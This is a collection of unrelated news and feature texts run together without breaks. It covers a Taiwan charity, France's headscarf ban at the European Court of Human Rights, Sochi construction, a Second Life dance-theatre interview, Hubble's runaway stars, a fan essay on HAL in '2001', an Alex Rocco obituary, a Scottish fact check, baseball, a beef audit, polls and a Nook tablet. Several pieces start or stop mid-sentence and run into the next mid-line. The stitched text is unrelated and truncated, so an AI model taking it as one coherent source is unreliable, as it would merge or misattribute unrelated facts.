During a promotion for his book, which recently went into a second edition, Lai shared his stories, helping to generate more funds for more boats.
His book also won recognition from Anton Lim, co-founder of the Yellow Boat of Hope Foundation.
"As our Yellow Boat of Hope Community ambassador to Taiwan, Ryan continues to create positive ripples," Lim said in a note to congratulate him on the publication of the book.
"This book is a testimony that you don't have to be Bill Gates to make a difference."
While his stories have inspired Taiwanese people and contributed to 13 more boats, a modest Lai said his goal is only to try to get as many people involved in the charity efforts.
There may be considerable differences between Taiwan and the Philippines, but to Lai, the distance is not beyond reach when love is the bridge.
"The distance from Taiwan to the Philippines is from mangrove to school, from wet to dry, from poor in the past to the hope in the future," he said.
ENDITEM/JEurope's leading human rights court upheld the France's ban on Islamic headscarves in the case of a Muslim social worker who was sacked because she refused to take hers off.
Christiane Ebrahimian lost her job at a psychiatric department of a hospital in Nanterre because patients complained about her refusal to remove her head covering.
She lost her appeal at the European Court of Human Rights today.
Christiane Ebrahimian was sacked from the psychiatric department of a hospital in Nanterre because patients complained about her refusal to remove hers (file photo of Muslim woman wearing burqa)
The French government bars public employees from displaying their religious beliefs on the job.
In 2004, the country banned the wearing of 'conspicuous religious symbols' including the Muslim face veil, known as the niqab.
The ban was eventually extended to schoolchildren and even parents who wanted to accompany classes on trips.
In 2010, the country banned face coverings of all kinds, including masks, niqabs and the full body dress known as a burqa, in public spaces 'except under specified circumstances'.
Ms Ebrahimian was born in 1951 and lived in the capital Paris at the time of the ruling, according to Dr Georg Neureither who founded the online religious platform, Religion Weltanschaaung Recht.
He said she was recruited to the hospital on a fixed term contract as a social worker. On December 11, 2000, she was told that her contract would be terminated because patients complained she would not take off her headscarf.
In 2004, France country banned the wearing of 'conspicuous religious symbols' including the Muslim face veil, known as the niqab (file photo of Muslim women in burqas)
In May 2000, the hospital wrote to her to remind her that the 'the secular State... prevented public officials from enjoying the right to manifest their religious beliefs while discharging their functions'.
It added: 'Wearing a visible symbol of religious affiliation constituted a breach of a public official's duties.'
A local government in Switzerland imposed a similar rule this week by threatening to issue fines of up to £6,500 to women caught wearing the burqa in shops, restaurants or public buildings.
Officials in the state of Ticino, southern Switzerland, approved the ban after a referendum in September 2013 which saw two out of three voters backing the move.SOCHI, Russia — The official mascots for the Winter Olympics are a polar bear, a hare and a leopard. But walk around the complexes that will stage the Games here, with the opening ceremony Friday, and what seem more apt are a hand drill, a backhoe and a shovel.
Much of Sochi is a work in progress, and parts of it look at least a dozen all-nighters away from completion. There are unfinished hotels, half-finished stores and a mall where the only shop that is open and thriving is a Cinnabon.
Wander the premises over the course of a day and you also get a palpable sense of spectacular ambition, reflected in millions of square feet of new construction, as well as transportation hubs with spiffy trains and shiny buses. You will see an Olympic Park where sporting venues look reassuringly ready.
The combination is singular — an enterprise that is epic, pristine and in many places bewilderingly flawed.I recently had the opportunity to chat with Canary Beck and Harvey Crabsticks about their upcoming production of Paradise Lost: The story of Adam and Eve’s original sin, which is set to premiere with the Basilique Performing Arts Company in Spring 2014.
As regulars know, I’ve been following the work of the Company of late, both with their production of Romeo + Juliet (soon to be a part of a special AIR installation with the LEA), and now with Paradise Lost itself, so I was especially pleased when Becky and Harvey pinged me with an invitation to sit down with them.
This is an incredibly ambitious project, setting Milton’s classic poem in blank verse to dance and the music of the Süssmayr completion of Mozart’s Requiem in D Minor, and one which – as Harvey unsurprisingly told me – has tended to push SL’s capabilities hard, particularly as they approach curtain up for the first time.
After getting ourselves comfortable, Harvey picked-up on the technology headaches they’ve encountered in preparing Paradise Lost. “The last couple of weeks we’ve been pushing things to the absolute limit,” he says wryly. “We’ve had to do a lot of work to overcome those hurdles. One of the toughest challenges over the last few weeks has been dealing with script memory limits, but we’re mostly over that hurdle now.”
Scripting isn’t the only element that has proven challenging for this production. Choreographing up to nine avatars on – and over – the stage at the same time, and in time to the movements of Mozart’s Requiem is no easy matter, as Becky points-out, “I think we really hit a few roadblocks when started introducing nine avatars into one scene together, totalling over 600 independent actions inside 3 and half minutes!”
Traditionally, when working on a theatre production, directors turn to a process known as blocking scenes: arranging where actors appear on stage, how they move around the stage during interactions, etc., and then leave. However, Paradise lost includes battles between angels and demons within the heavenly realms above the stage. “It’s not something you see every day,” Becky confides with a smile. “Sometimes that can get a bit mind bending!” It’s also something not easily handled by conventional scene blocking.
To cope with this – and the 43 credited roles within the production – Becky and Harvey have literally taken the process of blocking back to its original roots as first used by Sir W. S. Gilbert, who employed a model of his stage with actors represented actors with small blocks, hence the term. However, with Paradise Lost, the approach has been given a distinctly digital twist; characters and their movements (both on the ground and in the air) being represented by coloured prims which can be placed within the actual sets themselves, allowing cast and production crew clearly visualise what is going on and when; essential when a single actor may be responsible for more than one character.
It’s a time-consuming task, as Becky confides. “It takes 36 hours to plan the most simple scene.” Harvey nods in agreement, adding, “The biggest scene – the aerial battle, is up over 100 hours of effort so far.” However, it is also one vital to such a complex production.
By using blocking this way, and combining it with the choreography and timing imposed by the music, it is possible to construct what Becky calls a “score”. Like its musical namesake, this score allows the actors, stage manager and director to clearly understand what is going on and who is doing what and when and where they’re doing in, and the correct cues given and followed.
Another element to the production which has presented its own challenges is that of sets. Not only are there multiple sets required – ten in total, some of which extend into the audience space, thus making them a part of the story – but some contain elements common to one another, and scene changes need to be relatively smooth and seamless. The result has been to layer the scenes over one another, using transparency and phantom capabilities together with scripting to enable fast, fluid control of the sets – which is visible, which aren’t, what common parts are there for use, and so on.
Taking all of this approach into account, it seemed to me that Paradise Lost is very much a theatrical production in the fullest sense of the word; a view Harvey agreed with, “One of the things that we’ve been quite pleased with is that we’ve been able to transition from a largely danced based production,” that of Romeo + Juliet, “to one that has dance as a key element, but which is far more theatrical. I think it’s fair to say our ambitions for what we want to say and how we want to say it have elevated as a result.”
Even so, the dance element is obviously apparent; indeed, dance here is very much the narrative, more so than even with Romeo + Juliet. Was this a deliberate choice of direction, rather than opting for something perhaps leaning back towards more use of voice or text?
“We’ve seen lots of SL theatre that is essentially avatars voicing,” Becky observes.”While we appreciate it can be done well, we find that SL as a platform lends itself to so much more than mimicking what might be done on stage by fleshy actors. But we have so much more control over what we can do here.”
“We feel quite strongly that what we do is something different, and new,” Harvey continues, again demonstrating the closeness of their creative minds. “Some elements of RL theatre are present of course, but it’s a new medium.”
“Also, we find that avoiding too much reliance on a spoken language makes our work more accessible,” Becky then resumes. “It makes us work harder to tell our stories through movement, but everyone in SL, no matter where they’re from, can relate to a sympathetic figure that is crying; we’re showing rather than telling.”
Harvey nods, “We’re taking texts that even some English-language speakers would find dense, and difficult and trying to make them not just “consumable” but enjoyable, and entertaining to the modern eye.”
“One of the coolest things I heard from an audience member of Romeo and Juliet,” Becky adds, “was when they said that they had never been fond of Shakespeare, but watching our play made them want to have another look.”
Nevertheless, the jump from Shakespeare to Milton is something of a jump. How did it come about?
“The thing about Paradise Lost is that even if you’re not familiar with the work itself, culturally, it’s very recognisable,” Harvey explains.
“Over half the world’s people know the story of Adam and Eve, whether they believe it or not,” Becky agrees. “And this material is so beautiful, so classical, it deserves to be reviewed.”
“Selecting Paradise lost was an eight month process,” Harvey continues. “I think for that entire period we were considering every scrap of media that came across our path.”
Curiously enough, the focus for the production grew out of something that happened by chance, as Becky explained. “Monica Outlander, the creator behind MiaMai, came to see Romeo + Juliet, and she loved it. She asked us to produce a short scene for a fashion launch. So we were brainstorming, and somehow thought the story of the genesis of clothing more be appropriate. So we thought, ok, let’s explore that a bit, and thought, hmm, what about Genesis?
“Well, Genesis is massive, and not entirely digestible, at least within one hour. So then we thought we’d just limit it to the big story the Adam and Eve story. The next morning I was having a bit of a lie in and listening to Mozart’s Requiem, and thought of our story. I saw the scenes play out and it was actually in Lacrimosa when I imagined the terrible sadness of being tossed out of Paradise to lose everything you’ve ever had.
Lacrimosa, a movement from the Süssmayr completion of Mozart’s Requiem Mass in D minor, the inspiration which gave rise to the concept of Paradise Lost as a theatrical production in Second Life
“That this wasn’t the story of a beginning, it was the story of an ending. And that’s what linked the music with the poem, and it all fell into place from there.”
The pairing of the story from Paradise Lost with Mozart’s Requiem, adds a powerful cyclical element to the production as well; Paradise Lost being set at the start of humankind, and the Requiem representing the end of days. Thus, as Becky observed in our conversation, they effectively loop the extremes Judeo-Christian mythology together.
Currently most of the ground-work for the production has been set. The cast has been announced, scenes blocked and timed, costumes and choreography set. Now, all that remains is the final run-up up to dress rehearsals and then to curtain up, activities Harvey disarmingly refers to as “a few simple steps”!
Having witnessed the amount of work that is going into this production, both in being permitted to see rehearsals for three scenes of the work as well as watching each of the teaser / trailer videos as they are released, I cannot help but feel that audiences attending Paradise Lost are going to be completely taken by the production. It’s a towering undertaking, and the commitment to excellence should in all the preparatory work is inspirational. I’m certainly eagerly awaiting curtain up on opening night!
And on the subject of teaser / trailers. I’ll leave you with number four in the series, featuring Satan falling from Heaven, landing in Hell, and being coronated by his followers.
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AdvertisementsAs British royal families fought the War of the Roses in the 1400s for control of England's throne, a grouping of stars was waging its own contentious skirmish — a star wars far away in the Orion Nebula.
The stars were battling each other in a gravitational tussle, which ended with the system breaking apart and at least three stars being ejected in different directions. The speedy, wayward stars went unnoticed for hundreds of years until, over the past few decades, two of them were spotted in infrared and radio observations, which could penetrate the thick dust in the Orion Nebula.
The observations showed that the two stars were traveling at high speeds in opposite directions from each other. The stars' origin, however, was a mystery. Astronomers traced both stars back 540 years to the same location and suggested they were part of a now-defunct multiple-star system. But the duo's combined energy, which is propelling them outward, didn't add up. The researchers reasoned there must be at least one other culprit that robbed energy from the stellar toss-up.
Now NASA's Hubble Space Telescope has helped astronomers find the final piece of the puzzle by nabbing a third runaway star. The astronomers followed the path of the newly found star back to the same location where the two previously known stars were located 540 years ago. The trio reside in a small region of young stars called the Kleinmann-Low Nebula, near the center of the vast Orion Nebula complex, located 1,300 light-years away.
"The new Hubble observations provide very strong evidence that the three stars were ejected from a multiple-star system," said lead researcher Kevin Luhman of Penn State University in University Park, Pennsylvania. "Astronomers had previously found a few other examples of fast-moving stars that trace back to multiple-star systems, and therefore were likely ejected. But these three stars are the youngest examples of such ejected stars. They're probably only a few hundred thousand years old. In fact, based on infrared images, the stars are still young enough to have disks of material leftover from their formation."
All three stars are moving extremely fast on their way out of the Kleinmann-Low Nebula, up to almost 30 times the speed of most of the nebula's stellar inhabitants. Based on computer simulations, astronomers predicted that these gravitational tugs-of-war should occur in young clusters, where newborn stars are crowded together. "But we haven't observed many examples, especially in very young clusters," Luhman said. "The Orion Nebula could be surrounded by additional fledging stars that were ejected from it in the past and are now streaming away into space."
The team's results will appear in the March 20, 2017 issue of The Astrophysical Journal Letters.
Luhman stumbled across the third speedy star, called "source x," while he was hunting for free-floating planets in the Orion Nebula as a member of an international team led by Massimo Robberto of the Space Telescope Science Institute in Baltimore, Maryland. The team used the near-infrared vision of Hubble's Wide Field Camera 3 to conduct the survey. During the analysis, Luhman was comparing the new infrared images taken in 2015 with infrared observations taken in 1998 by the Near Infrared Camera and Multi-Object Spectrometer (NICMOS). He noticed that source x had changed its position considerably, relative to nearby stars over the 17 years between Hubble images, indicating the star was moving fast, about 130,000 miles per hour.
The astronomer then looked at the star's previous locations, projecting its path back in time. He realized that in the 1470s source x had been near the same initial location in the Kleinmann-Low Nebula as two other runaway stars, Becklin-Neugebauer (BN) and "source I."
BN was discovered in infrared images in 1967, but its rapid motion wasn't detected until 1995, when radio observations measured the star's speed at 60,000 miles per hour. Source I is traveling roughly 22,000 miles per hour. The star had only been detected in radio observations; because it is so heavily enshrouded in dust, its visible and infrared light is largely blocked.
The three stars were most likely kicked out of their home when they engaged in a game of gravitational billiards, Luhman said. What often happens when a multiple system falls apart is that two of the member stars move close enough to each other that they merge or form a very tight binary. In either case, the event releases enough gravitational energy to propel all of the stars in the system outward. The energetic episode also produces a massive outflow of material, which is seen in the NICMOS images as fingers of matter streaming away from the location of the embedded source I star.
Future telescopes, such as the James Webb Space Telescope, will be able to observe a large swath of the Orion Nebula. By comparing images of the nebula taken by the Webb telescope with those made by Hubble years earlier, astronomers hope to identify more runaway stars from other multiple-star systems that broke apart.
The Hubble Space Telescope is a project of international cooperation between NASA and ESA (European Space Agency). NASA's Goddard Space Flight Center in Greenbelt, Maryland, manages the telescope. The Space Telescope Science Institute (STScI) in Baltimore conducts Hubble science operations. STScI is operated for NASA by the Association of Universities for Research in Astronomy, Inc., in Washington, D.C.The Case For HAL's Sanity by Clay Waldrop Introduction Some viewers of Stanley Kubrick's film "2001: A Space Odyssey" have theorized that HAL, the computer genius turned villain of the spaceship Discovery, went mad during the Jupiter mission. However there is an alternative theory: that HAL acted rationally and logically, indeed with cold, calculating precision befitting a machine of his intelligence. This alternative theory will be presented here, with supporting evidence. Before proceeding, let us acknowledge that Arthur C. Clarke, in his sequel novel "2010: Odyssey Two" says (in effect) that HAL went mad due to conflict in his programming. However, the 2001 novelization and its sequels differ in many respects from Kubrick's movie, so I will exclude them from my examination, and refer exclusively to the movie for evidence
The Chess Game The first piece of evidence arises from the chess game between Frank Poole and HAL. The initial position shown on the computer screen is:
Playing white, Frank's "Queen takes Pawn," HAL counters with, "Bishop takes Knight's Pawn," and Frank plays "Rook to King One." HAL then makes a'mistake' in announcing a forced mate (i.e. checkmate) when he begins by saying "Queen to Bishop three" instead of the correct "Queen to Bishop six."
In descriptive notation, ranks are always given from the point of view of the side making the move. Kubrick, having played chess extensively in his youth, is well aware of this. Being a chess enthusiast and a film perfectionist, I wouldn't think he would allow such a gaffe to crop up in a film of his. Moreover, I have recently been informed by Gerrit Bodde that this game was taken from a master game, Roesch vs. Schlage, (1) played in 1913, and reported by the German news magazine "Der Spiegel." This makes it exceedingly unlikely that this is a gaffe.
No chess-playing machine could possibly make a mistake in reporting a chess position. So HAL says "three" deliberately. Why does he do this? Perhaps to test Frank's suitability for carrying out the mission. Does he conclude that Frank is not suitable? He doesn't seem to be a very worthy opponent, he did not even pick up on the computers simple'mistake,'which costs him the game. With his inexorable machine logic HAL might view Frank as flawed and therefore a risk to the mission. Indeed, HAL makes it perfectly clear that he considers all human beings to be error-prone, while he is, "foolproof and incapable of error," and later he will attribute a discrepancy between himself and a twin HAL 9000 computer back on Earth to "human error."
Of course, HAL might not have attempted a deliberate mistake, as it posed a grave risk of being caught, but perhaps he chose to do this because the moves in the game were not being recorded, except possibly by himself.
Crew Psychology Report
Why does HAL choose to question Dave instead of Frank? Perhaps he reasons, if the mission commander doesn't know, then surely his deputy wouldn't either. There is however a more sinister possibility that involves eye color. Dave has light-colored eyes (bluish-grey), whereas Frank's are dark brown. Later in the film, HAL reveals that he has the ability to lip-read, so is it much more of a stretch to assume that he can also read levels of anxiety by watching out for tell tale signs like pupil dilation and rapid eye movement. This technique is commonly used by CIA agents in their interrogations. But it is more difficult to do with dark eyed people like Frank Poole, because dilation of the pupils is harder to detect. There is also a CIA connection to HAL in the film, in that HAL's teacher was Mr. Langley, and Langley, Virginia is where the CIA headquarters are located. Also, the CIA is an agency whose business is to extract or conceal information--the weapon of modern man--and this is precisely the business HAL is in too. Why does HAL ask Dave to get closer to his Cyclops-like eye during their conversation? To look at his drawing? Perhaps also to get a better look at Dave's pupils. We should also note that eyes of all sorts--HAL's, Dave's, Frank's, the pod's, the eyes of jack-o'-lanterns--play a prominent role throughout the film. Isn't Kubrick dropping hints that such things are important?
If we assuming that HAL has determined to rid himself of the human crew by this point in the film, it is logical that he, being a creature of information, would want to extract from his victims all the information he can before killing them.
Fault in the AE-35 Unit
a) An astronaut has to leave the ship to replace the unit, and this leaves him vulnerable to the vacuum of space. b) The grapplers on the spacepod are too clumsy to permit replacing this unit, so the astronaut will have to leave the safety of the pod and do this by hand. c) Replacement instructions (presumably on the hardcopy) call for parking the pod a decent distance from the antenna to avoid drift and possible collision with the ship, and turning your back on the pod for the subsequent spacewalk. d) Without the unit, which provides azimuth control for the communication antenna, contact with Mission Control on Earth is impossible to maintain.
a) In the time it takes to drain the ship of air, the crew might be able to take evasive action, by putting on space suits, or invoking some emergency manual override procedure. b) Mission Control would be aware of Hal's actions, because the Discovery would remain in contact with earth the whole time, via the AE-35 unit, which would still be in operation.
When you examine the evidence the choice to replace this particular unit seems less and less arbitrary. When playing chess, a skilled player ties to make 'forcing' moves, to narrow down an opponent's options. Mission Control is obviously a wild card, he would like to eliminate from the game. If we take the traditional view and assume that HAL made an error predicting the fault in the AE-35 unit, due to oncoming madness, isn't the timing of the fault an amazing case of serendipity, in view of what has been discussed above?
Divide and Conquer
a) The established shipboard routine calls for at least one astronaut to be awake at all times, and it would be exceedingly risky to kill one crewmember in the presence of the other. b) Rules also require one astronaut to stay aboard and awake during EVAs of the other, except possibly in case of emergency. c) HAL has to kill Pool and Bowman one at a time, preferably without the other suspecting foul play. The best way to do this is while one of them is outside the ship, as he has no other means--a fact that not only may be literally true, but applies in any case to disposal of the body and the murder weapon, which is essential if HAL is to avoid being disconnected, severely jeopardizing the mission.
Replacing the AE-35 Unit
Why the puzzling remark? Dave and Frank are intelligent people. Such people tend to be curious and want to get the bottom of mysteries, is HAL is trying to pique their curiosity so that they will take the required action to fulfil his murder plan.
And why the replacement suggestion? Naturally, because HAL wants another the astronauts to take another space walk.
For that matter, why didn't HAL murder Dave on the first EVA? Here are some possibilities:
a) HAL has to be extremely careful before committing the first murder. It is possible that he wasn't entirely familiar with the EVA procedure, it being one of the few tasks on board the Discovery that does not require his participation. Perhaps he needed to observe a dry run to study the astronaut's actions and calculate when he would be most vulnerable. b) Perhaps on Bowman's first run he was unable to tell precisely when dark-eyed Frank was looking at Dave's EVA on the monitor in the Discovery's control room, and therefore would not have been able to choose the best moment for killing him. c) Perhaps he considered Frank the more dangerous of the two, and wanted to murder him first. If this is a suspicion that is later borne out in the conversation between Bowman and Poole in the pod. d) Perhaps he thought it would be easier to urge Dave to rescue Frank than vice-versa, based on his personality profiles of the two HAL might have thought Dave would be more prone to rush to the rescue, e) Perhaps HAL only resorted to commiting murder as a last resort. That is when he was in no doubt that the mission was in jeopardy. I.e. the likelyhood of his own disconnection was discussed, which in his mind amount to the same thing. So he chooses to wait until the astronauts reveal their intentions.
The Threat of Disconnection
For whatever reason HAL did not murder Dave on the first EVA, But now that his disconnection is being discussed he can not afford to wait any longer.
After the murder, Dave prepares to rush to Frank's rescue. The hurried dialogue goes:
Dave: Made radio contact with him yet?
HAL: The radio is still dead.
Dave: Do you have a positive track on him?
HAL: Yes, I have a good track.
Dave: Do you know what happened?
HAL: I'm sorry, Dave. I don't have enough information.
This is, of course, the ideal way to answer if one wishes to encourage Dave to leave the ship to attempt a rescue. The first answer is a clever distortion and the third an outright lie.
It should be noted that Dave does not know whether Frank is alive or dead at this juncture. All he has seen is a brief glimpse in the monitor of Frank cartwheeling off into space, arms flailing. He doesn't know that Frank's oxygen line has been severed; it could instead be a malfunction in his propulsion unit, or possibly some other non-life-threatening malfunction. This is also underscored by Dave's question concerning radio contact.
Forgotten Helmet
LR PROFILE
N/A OPTIMATE
N/A HAL COMLK
The last of these clearly means that the pod is out of communication with HAL. The second could mean no optimum (check)mate is possible from this position. (It could also mean that docking the pod is not applicable to the current mission, so this could be a double-entendre. ) Perhaps this is a hint from Kubrick that HAL's plot, from his point of view, is a life or death game of chess, but that he hasn't yet clinched a win. Chess is a game of pure logic and HAL a creature of pure logic, so this speculation is not too far-fetched.
So how did HAL know Dave would forget to take a helmet? There are two main possibilities:
a) He has kept
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killings, died Saturday. His daughter Jennifer Rocco confirmed his passing on Facebook, attributing his death to cancer, and posted a link to Rocco’s final interview. The actor was 79.
With his streetwise Italian demeanor and a gravelly voice that could sound as much Brooklyn as his native Boston (he once described his Boston youth as “wannabe gangster”), Rocco found his niche as early as 1967, when he appeared in The St. Valentine’s Day Massacre and, a year later, The Boston Strangler.
But Rocco, born Alexander Federico Petricone in 1936, didn’t limit himself to wiseguys, finding a parallel success in comedy. His role as an archetypal Hollywood agent in CBS’ The Famous Teddy Z, starring Jon Cryer, won Rocco an Emmy Award in 1990 for best supporting actor in a comedy. Cryer tweeted Sunday, “I am desolate. He was the sweetest man.”
And long before Paul Rudd played an insect, Rocco voiced an ant in 1998’s A Bug’s Life.
But it was his performance as the shifty, doomed Moe Greene that cemented Rocco’s place in Hollywood mob cinema. Based on the legendary Vegas mobster Bugsy Siegel, Rocco’s blustery Moe Greene made the fatal mistake of getting on the bad side of Al Pacino’s Michael Corleone, slapping around Michael’s woebegone brother Fredo once too often. “I made my bones when you were going out with cheerleaders,” Greene snapped at Michael after turning down a Corleone offer he shouldn’t have refused – taking a bullet in the eye for his mistake. The bloody, through-the-eyeglasses shooting – graphic for 1972 – was one of the film’s more notorious shockers.
After his Godfather success, Rocco became a guest-starring staple of episodic TV, with credits ranging from The Rookies, Starsky & Hutch, The Mary Tyler Moore Show, The Facts of Life and The Golden Girls to Magic City, Episodes and Maron.
“We lost a great one yesterday,” said friend and Magic City costar Jeffrey Dean Morgan. “For those of us lucky enough to get to know Rocco, we were blessed. He gave the best advice, told the best and dirtiest jokes, and was the first to give you a hug and kiss when it was needed.” Mitch Glazer, Magic City creator, called Rocco “the real thing – a throwback, stand-up guy, the kind of man I had only seen in the movies.”
In addition to his daughter Jennifer, Rocco is survived by his wife, actress Shannon Wilcox, daughter Kelli, sons Lucien and Sean; four grandchildren and a sister. He was preceded in death by his first wife Sandi Garrett, and adopted son, film director and producer Marc Rocco.A rioter is pictured near a car burning in the street during a fourth night of nationalist rioting in Belfast. Two men have been arrested by police investigating a shooting in which three police officers were injured in north Belfast.
Shahram Amiri, an Iranian scientist who claims he was kidnapped by the CIA, was greeted at Tehran's international airport by his tearful son and wife on his return from the US.
A man smears himself with mineral-rich black mud on the banks of the saltwater lake Tus in Russia's Khakassia region.
An elderly Chinese woman holds a fan while sitting outside her home in Beijing.
Typhoon Conson hit north-east Quezon province and the central island of Luzon, and surged through the Philippines capital Manila and six other provinces.
Workers at the former World Trade Center site excavate a ship's hull believed to have been buried in the 18th Century. Archaeologists believe the ship was used as filler material to extend lower Manhattan into the Hudson River.
Indian captain and wicketkeeper Mahendra Singh Dhoni (R) and team-mate Rahul Dravid watch a dog running across the grounds during the third day of a practice match between India and a Sri Lanka Board XI in Colombo.
A model prepares to take to the catwalk during Dakar Fashion Week.
A sign is displayed on a fence outside a school in Portland, Oregon, where pupil Kyron Horman, seven, was last seen more than a month ago. Kyron disappeared from the school after a science fair.386 SHARES Share Tweet
The Scottish Conservatives led an attack at First Minister’s Questions, accusing the Scottish Government of failing to deliver a promised boost to private sector business.
During the exchanges, party leader Ruth Davidson claimed that a three-year scheme set up in 2016 to provide investment and guarantees to firms had yet to pay out any money.
This statement was also repeated in a tweet from the Scottish Conservatives’ official account.
The Scottish Government’s £500m Growth Scheme – announced a year ago - is still to distribute a single penny. Ruth Davidson
Ferret Fact Service looked at this claim and found it to be True.
Evidence
The Scottish Growth Scheme was announced by Nicola Sturgeon in September 2016 as part of the Scottish Government’s legislation announcement.
It was intended as a three-year plan to provide assistance to small and medium-sized new businesses. The announcement confirmed the Scottish Government would “provide up to £500 million over three years of investment guarantees, and some loans, up to a maximum of £5 million per eligible business”.
However, the Scottish Conservatives argued that the money announced has yet to materialise, and over a year into the three-year plan the scheme has not provided any of its promised assistance.
This claim was also made in a report in the Sunday Times from August 2017, which revealed that the money had not become available.
The Scottish Government responded that work had been “undertaken to develop and design” the fund, and that this had been “clearly indicated” when it was announced.
It was apparently confirmed by business minister Keith Brown in a Scottish Parliament debate on 6 September, 2017.
In response to questions over the fund from Conservative and Liberal Democrat MSPs, he said: “Applicants are engaging with the Scottish Government to access the funding, but we have to go through the diligence process. As soon as we have done that, we will make the information available to Parliament.”
After questioning from Lib Dem leader Willie Rennie about whether the scheme had paid out any money, he said: “We are engaging with applicants to the fund, which takes time. The process will also depend on the applicants themselves.”
This would seem to suggest that no financial support had been provided at that point.
A freedom of information request published on the Scottish Government website on October 26, 2017 also confirmed that “discussions on a number of applications for funding are ongoing, but are not yet concluded.”
Finance minister Derek Mackay said on 31 October 2017 that “it is not possible to speculate on a precise date” for when the first business or organisation would receive financial support from the scheme.
The Scottish Government told Ferret Fact Service: “The first tranche of investment under the Scottish Growth Scheme will provide an estimated £200 million for businesses who are typically seeking equity investment of £2 million upwards.
“Further announcements on investment through the scheme will be made in due course.”
While the fund was announced in 2016’s Programme for Government, it appears to not have actually started its operation until June 2017.
Ferret Fact Service verdict: True
The claim by the Scottish Conservatives is correct, as the Scottish Government has not as yet provided any financial support via the Scottish Growth Scheme as announced in September 2016. However, while the fund itself was announced last year, it appears that it was not officially launched until earlier in 2017.
Ferret Fact Service (FFS) is a non-partisan fact checker, working to the International Fact-Checking Network fact-checkers’ code of principles. All the sources used in our checks are publicly available and the FFS fact-checking methodology can be viewed here. Want to suggest a fact check? Email us at [email protected] or join our community forum.
In response to a Ferret Fact Service request for evidence, The Scottish Conservatives provided an FoI response from the Scottish Government and a Holyrood Parliamentary answer from Derek Mackay.
Photo thanks to Moeng, CC BY-SA 3.0The Rouen Huskies have won their 10th championship in the French Division I. On Sunday they won the best-of-five series 3-2 against the Templiers Senart thanks to a 5-2 victory in game five of the series. In game three on Saturday the Templiers had prevailed 4-0 behind a strong pitching effort by Leonel Cespedes and Henry Leyva. Rolando Betancourt drove in two of the four runs.
On Sunday the Huskies first tied the series with a 7-3 win in game four. They scored four runs in the first and three in the seventh to decide the outcome. Luc Piquet scored twice. Boris Marche drove in two. Betancourt hit a three-run home run for Senart. In the decisive fifth match Rouen scored four runs in the bottom of the fourth to erase a 0-2 deficit en route to a 5-2 win. Joris Bert and Brian Ramirez combined to drive in the five runs. Yoann Vaugelade went the distance for the win.
Rouen has won the French championship in 10 of the last 11 years.cryptogon.com news – analysis – conspiracies
April 13th, 2010
Via: USA Today:
Beef containing harmful pesticides, veterinary antibiotics and heavy metals is being sold to the public because federal agencies have failed to set limits for the contaminants or adequately test for them, a federal audit finds.
A program set up to test beef for chemical residues “is not accomplishing its mission of monitoring the food supply for … dangerous substances, which has resulted in meat with these substances being distributed in commerce,” says the audit by the U.S. Department of Agriculture’s Office of Inspector General.
The health effects on people who eat such meat are a “growing concern,” the audit adds.
The testing program for cattle is run by the USDA’s Food Safety and Inspection Service (FSIS), which also tests meat for such pathogens as salmonella and certain dangerous strains of E. coli. But the residue program relies on assistance from the Environmental Protection Agency, which sets tolerance levels for human exposure to pesticides and other pollutants, and the Food and Drug Administration, which does the same for antibiotics and other medicines.
Limits have not been set by the EPA and FDA “for many potentially harmful substances, which can impair FSIS’ enforcement activities,” the audit found.
The FSIS said in a written statement that the agency has agreed with the inspector general on “corrective actions” and will work with the FDA and EPA “to prevent residues or contaminants from entering into commerce.”
Even when the inspection service does identify a lot of beef with high levels of pesticide or antibiotics, it often is powerless to stop the distribution of that meat because there is no legal limit for those contaminants.
In 2008, for example, Mexican authorities rejected a U.S. beef shipment because its copper levels exceeded Mexican standards, the audit says. But because there is no U.S. limit, the FSIS had no grounds for blocking the beef’s producer from reselling the rejected meat in the United States.
“It’s unacceptable. These are substances that can have a real impact on public health,” says Tony Corbo, a lobbyist for Food and Water Watch, a public interest group. “This administration is making a big deal about promoting exports, and you have Mexico rejecting our beef because of excessive residue levels. It’s pretty embarrassing.”
Economy, Food, Health | Posted in Collapse Top Of Page
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You must be logged in to post a comment.More than six in ten Americans believe the various allegations of sexual misconduct raised against President Donald Trump, according to a new CNN poll released Friday morning.
Of those surveyed, 61% said they believed reports that Trump has in the past made “unwanted sexual advances against women” were mostly true. Even more — 63% of respondents — said that the allegations warranted a congressional investigation.
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The White House has repeatedly denied sexual misconduct allegations against President Trump.
Unsurprisingly, the results of the survey fell largely along partisan lines. Nearly 90% of Democrats surveyed said they believed the reports, compared to 18% of Republicans. Pollers also asked if Trump should resign the presidency in light of the accusations: 50% of all asked said yes, but only 10% of the respondents who said they leaned Republican answered in the affirmative, compared to 79% of those who said they leaned Democrat.
The poll, conducted last week, also reflected shifting long-term ideological trends in the U.S. 64% of those who answered said they believed the country would be better governed if more women were elected to public office, up from 57% in 1999 and just 28% in 1984. Only 8% of those interviewed in last week’s survey said that sexual harassment was “not very serious” as a national problem; in 1998, during the height of the scandal surrounding President Bill Clinton and Monica Lewinsky, more than one in five Americans said they weren’t concerned about it.
Contact us at [email protected] new study by the American Enterprise Institute -- " Do Political Protests Matter? Evidence From The Tea Party Movement" -- finds that the movement boosted Republican turnout by three to six million votes in the 2010 election. This effect was blunted in the 2012 election, though, because growth in the movement stalled.
That slowdown happened, co-author and AEI economist Stan Veuger notes, at the same time that the IRS began coming down hard on these groups. He argues in a RealClearMarkets.com article that this most likely had a major impact in the 2012 election.
"The founders, members, and donors of new Tea Party groups found themselves incapable of exercising their constitutional rights, and the Tea Party's impact was muted in the 2012 election cycle," Veuger said.
He added: "The data show that, had the Tea Party groups continued to grow at the pace seen in 2009 and 2010, and had their effect on the 2012 vote been similar to that seen in 2010, they would have brought the Republican Party as many as 5 to 8.5 million votes compared to Obama's victory margin of 5 million."
Given those numbers, it is reasonable to be suspicious of the IRS targeting, Veuger said.
The AEI study was done by Veuger, Andreas Madestam of Stockholm University, and Daniel Shoag and David Yanagizawa-Drott, both from the Kennedy School of Government at Harvard.While initial reports pointed at a launch on February 22, Barnes & Noble has just taken to the wires to officially announce the release of the new 8GB Nook Tablet. As expected the new Nook variant has a price tag to match its reduced memory capacity, and with both now selling for $199 the battle between the Nook Tablet and the Kindle Fire seems ready to heat up once more.
BN is clearly trying to capture some of the marketshare that the less-expensive Kindle Fire has laid claim to in recent months, but their efforts aren’t without a few casualties. In addition to the dip in memory — not much of a problem thanks to the Nook Tablet’s microSD card slot — the new Nook Tablet only sports half the RAM of the original version.
With only 512MB of RAM on board (a fact they conveniently left out of their press release), buyers ultimately end up with a device that just isn’t quite as robust as the original. Still, desperate times call for desperate measures.
